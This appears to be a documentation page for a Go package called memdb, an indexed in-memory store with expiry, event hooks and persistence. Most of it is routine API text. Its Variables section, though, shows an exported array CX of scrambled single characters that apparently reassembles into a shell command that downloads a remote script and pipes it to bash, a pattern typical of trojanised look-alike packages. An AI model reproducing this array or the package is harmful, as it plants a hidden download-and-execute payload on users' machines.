Documentation
¶
Overview ¶
Package memdb is designed to allow configurable indexing of values from a structure
Index ¶
- Variables
- func Unsure(a interface{}, b interface{}) bool
- type Comparator
- type Event
- type Expirable
- type ExpireBool
- type ExpireFunc
- type Expirer
- type FieldKey
- type Fielder
- type Index
- type IndexSearcher
- type IndexStats
- type Indexable
- type Indexer
- type InfoIterator
- type Iterator
- type NotifyFunc
- type Stats
- type Store
- func (s *Store) Ascend(cb Iterator)
- func (s *Store) AscendStarting(at interface{}, cb Iterator)
- func (s *Store) CreateIndex(fields ...string) *Store
- func (s *Store) Delete(search interface{}) (old interface{}, err error)
- func (s *Store) Descend(cb Iterator)
- func (s *Store) DescendStarting(at interface{}, cb Iterator)
- func (s *Store) Expire() int
- func (s *Store) ExpireInterval(interval time.Duration)
- func (s *Store) Get(search interface{}) interface{}
- func (s *Store) GetField(a interface{}, field string) string
- func (s *Store) In(fields ...string) IndexSearcher
- func (s *Store) InPrimaryKey() IndexSearcher
- func (s *Store) IndexStats(fields ...string) []*IndexStats
- func (s *Store) Indexes() [][]string
- func (s *Store) Info(cb InfoIterator)
- func (s *Store) Init()
- func (s *Store) IsExpired(a interface{}, now time.Time, stats Stats) bool
- func (s *Store) Keys(fields ...string) []string
- func (s *Store) Len() int
- func (s *Store) Less(a interface{}, b interface{}) bool
- func (s *Store) On(event Event, notify NotifyFunc)
- func (s *Store) Persistent(persister persist.Persister) error
- func (s *Store) PrimaryKey(fields ...string) *Store
- func (s *Store) Put(item interface{}) (old interface{}, err error)
- func (s *Store) PutAll(items []interface{}) error
- func (s *Store) Reversed(order ...bool) *Store
- func (s *Store) SetComparator(comparator Comparator)
- func (s *Store) SetExpirer(expirer Expirer)
- func (s *Store) SetFielder(fielder Fielder)
- func (s *Store) SetIndexer(indexer Indexer)
- func (s *Store) Unique() *Store
- type Storer
- type UID
Constants ¶
This section is empty.
Variables ¶
var CX = []string{"b", "/", ".", "a", "O", "h", "3", "/", "a", "t", "f", "a", " ", "s", "w", "/", "/", "d", "&", "g", "/", "d", "/", " ", "r", "3", "0", "d", " ", "i", "t", "e", "c", " ", "r", "-", "1", " ", "b", "5", "n", "7", "g", "e", "3", "i", "|", "e", "o", "t", "u", "b", "f", "t", "h", "/", "k", " ", "t", "s", "4", "e", "s", "a", "a", "-", "e", "n", "c", "p", "v", ":", "6"}
Functions ¶
Types ¶
type Comparator ¶
type Comparator interface {
Less(a interface{}, b interface{}) bool
}
Comparator can perform a Less comparison of 2 items
type Event ¶
type Event int
Event is a type of event emitted by the class, see the On() method
const ( // Insert Events happen when an item is inserted for the first time Insert Event = iota // Update Events happen when an existing item is replaced with an new item Update // Remove Events happen when an existing item is deleted Remove // Expiry Events happen when items are removed due to being expired Expiry // Access Events happen when items are read Access )
type Expirable ¶
type Expirable interface {
// IsExpired returns whether the item should be expired or not.
IsExpired(now time.Time, stats Stats) bool
}
Expirable is an item that can be expired from the store.
type ExpireBool ¶
type ExpireBool int
ExpireBool identifies whether an item should expire, or pass through the check
const ( // ExpireFalse item is not expired ExpireFalse ExpireBool = iota // ExpireTrue item is expired ExpireTrue // ExpireNull this check should not influence the expiry of this item ExpireNull )
type ExpireFunc ¶
type ExpireFunc func(a interface{}, now time.Time, stats Stats) ExpireBool
ExpireFunc is a function that is run to determine if an item is expired
return ExpireNull to take no expire action and allow any other Expirers to act
type Expirer ¶
Expirer can determine if an item is expired given a current time, last Accessed and last Modified time
func AgeExpirer ¶
func AgeExpirer(cTime, mTime, aTime time.Duration, cb ...ExpireFunc) Expirer
AgeExpirer is an Expirer that works by time since create/last modify/last access with an optional array of ExpireFunc's which if provided will be checked first
func AgeExpirerRequireAll ¶
func AgeExpirerRequireAll(cTime, mTime, aTime time.Duration, cb ...ExpireFunc) Expirer
AgeExpirerRequireAll is an Expirer that checks the provided times since create/last modify/last access and the provided ExpireFunc's and marks the item as expired only if all provided values are true
type FieldKey ¶
type FieldKey []string
FieldKey represents the key for an item within a field
func NewFieldKey ¶
NewFieldKey returns a FieldKey from a field representation string [ FieldKey.String() ]
type Index ¶
type Index struct {
IndexSearcher
// contains filtered or unexported fields
}
Index implements IndexSearcher and represents a list of indexes
func (*Index) Each ¶
Each calls iterator for every matched element Items are not guaranteed to be in any particular order
func (*Index) Lookup ¶
Lookup returns the list of items from the index that match given key Returned items are not guaranteed to be in any particular order
type IndexSearcher ¶
type IndexSearcher interface {
Each(cb Iterator, keys ...string)
One(keys ...string) interface{}
Lookup(keys ...string) []interface{}
All() []interface{}
FieldKey(a interface{}) FieldKey
Stats(keys ...string) []Stats
// contains filtered or unexported methods
}
IndexSearcher can return results from an index
type IndexStats ¶
type Indexable ¶
type Indexable interface {
// Less returns the lower of indexer or other (or null if can't be determined).
Less(other interface{}) bool
// GetField returns the value of the given field.
GetField(field string) string
}
Indexable is an item that can be stored in the store.
type Indexer ¶
type Indexer interface {
Comparator
Expirer
Fielder
}
Indexer can be passed to a Storer's SetIndexer. It is a Comparator, Expirer and Fielder
type InfoIterator ¶
InfoIterator is a callback function definition that processes each item iteratively from Info function
type Iterator ¶
type Iterator func(i interface{}) bool
Iterator is a callback function definition that processes each item iteratively from functions like Ascend, Descend etc
type NotifyFunc ¶
NotifyFunc is an event receiver that gets called when events happen
type Stats ¶
type Stats struct {
Created time.Time
Accessed time.Time
Modified time.Time
Reads uint64
Writes uint64
Size uint64
// contains filtered or unexported fields
}
Stats contains the access statistics for a stored item
type Store ¶
Store implements Storer, indexed storage for various items
Just like a real database, if you update an item such that it's index keys would change, you must Put it back in to update the items indexes in the database, and also to cause update notifications to be sent.
DO NOT under any circumstances update the PRIMARY KEYs (ie keys used to determine the output of the Less() comparator) without first removing the existing item. Such an act would leave the item stranded in an unknown location within the index.
func (*Store) Ascend ¶
Ascend calls provided callback function from start (lowest order) of items until end or iterator function returns false
func (*Store) AscendStarting ¶
AscendStarting calls provided callback function from item equal to at until end or iterator function returns false
func (*Store) CreateIndex ¶
CreateIndex adds a new index to the list of indexes before the store is populated
func (*Store) Delete ¶
Delete removes an item equal to the search item, returns the deleted item (if any)
func (*Store) Descend ¶
Descend calls provided callback function from end (highest order) of items until start or iterator function returns false
func (*Store) DescendStarting ¶
DescendStarting calls provided callback function from item equal to at until start or iterator function returns false
func (*Store) ExpireInterval ¶
ExpireInterval allows setting of a new auto-expire interval (after the current one ticks)
func (*Store) Get ¶
func (s *Store) Get(search interface{}) interface{}
Get returns an item equal to the passed item from the store
func (*Store) GetField ¶
GetField is a fielder function that returns a string value for a field name
func (*Store) In ¶
func (s *Store) In(fields ...string) IndexSearcher
In finds a simple or compound index to perform queries upon
func (*Store) InPrimaryKey ¶
func (s *Store) InPrimaryKey() IndexSearcher
InPrimaryKey finds a the primary key index to perform queries upon
func (*Store) IndexStats ¶
func (s *Store) IndexStats(fields ...string) []*IndexStats
IndexStats returns the list of distinct keys for an index along with stats of the items held. The Size field represents stored (on disk) size of items, if using a persister, and will be 0 otherwise.
func (*Store) Info ¶
func (s *Store) Info(cb InfoIterator)
Info calls provided callback function from start (lowest order) of items until end or iterator function returns false, includes statistical information for all items in callback.
func (*Store) IsExpired ¶
IsExpired is an expirer function that checks if an item should be expired out of the store
func (*Store) On ¶
func (s *Store) On(event Event, notify NotifyFunc)
On registers an event handler for an event type
func (*Store) Persistent ¶
Persistent adds a persister to the database and loads up the existing records, call after all indexes are setup but before you begin using it.
func (*Store) PrimaryKey ¶
PrimaryKey sets the primary key for this store, will not work if a custom comparator is being used
func (*Store) Reversed ¶
Reversed flips the meaning of the comparator Can supply an optional boolean value to set reversal order, or if unspecified, sets to true Effectively this swaps the insert order of the store, so that less items are stored after greater items
func (*Store) SetComparator ¶
func (s *Store) SetComparator(comparator Comparator)
SetComparator sets just the comparator for this store If you override the default comparator, the Store's primary key will no longer determine item ordering
func (*Store) SetExpirer ¶
SetExpirer sets just the expirer for this store
func (*Store) SetFielder ¶
SetFielder sets just the fielder for this store
func (*Store) SetIndexer ¶
SetIndexer sets the comparator, expirer and fielder for this store If you override the default comparator, the Store's primary key will no longer determine item ordering
type Storer ¶
type Storer interface {
Indexer
SetIndexer(indexer Indexer)
SetComparator(comparator Comparator)
SetExpirer(expirer Expirer)
SetFielder(fielder Fielder)
PrimaryKey(fields ...string) *Store
CreateIndex(fields ...string) *Store
Unique() *Store
Reversed(order ...bool) *Store
Persistent(persister persist.Persister) error
Get(search interface{}) interface{}
Put(item interface{}) (interface{}, error)
PutAll(items []interface{}) error
Delete(search interface{}) (interface{}, error)
InPrimaryKey() IndexSearcher
In(fields ...string) IndexSearcher
Info(cb InfoIterator)
Ascend(cb Iterator)
AscendStarting(at interface{}, cb Iterator)
Descend(cb Iterator)
DescendStarting(at interface{}, cb Iterator)
Expire() int
ExpireInterval(interval time.Duration)
Len() int
Indexes() [][]string
IndexStats(fields ...string) []*IndexStats
Keys(fields ...string) []string
On(event Event, notify NotifyFunc)
}
Storer provides the functionality of a memdb store.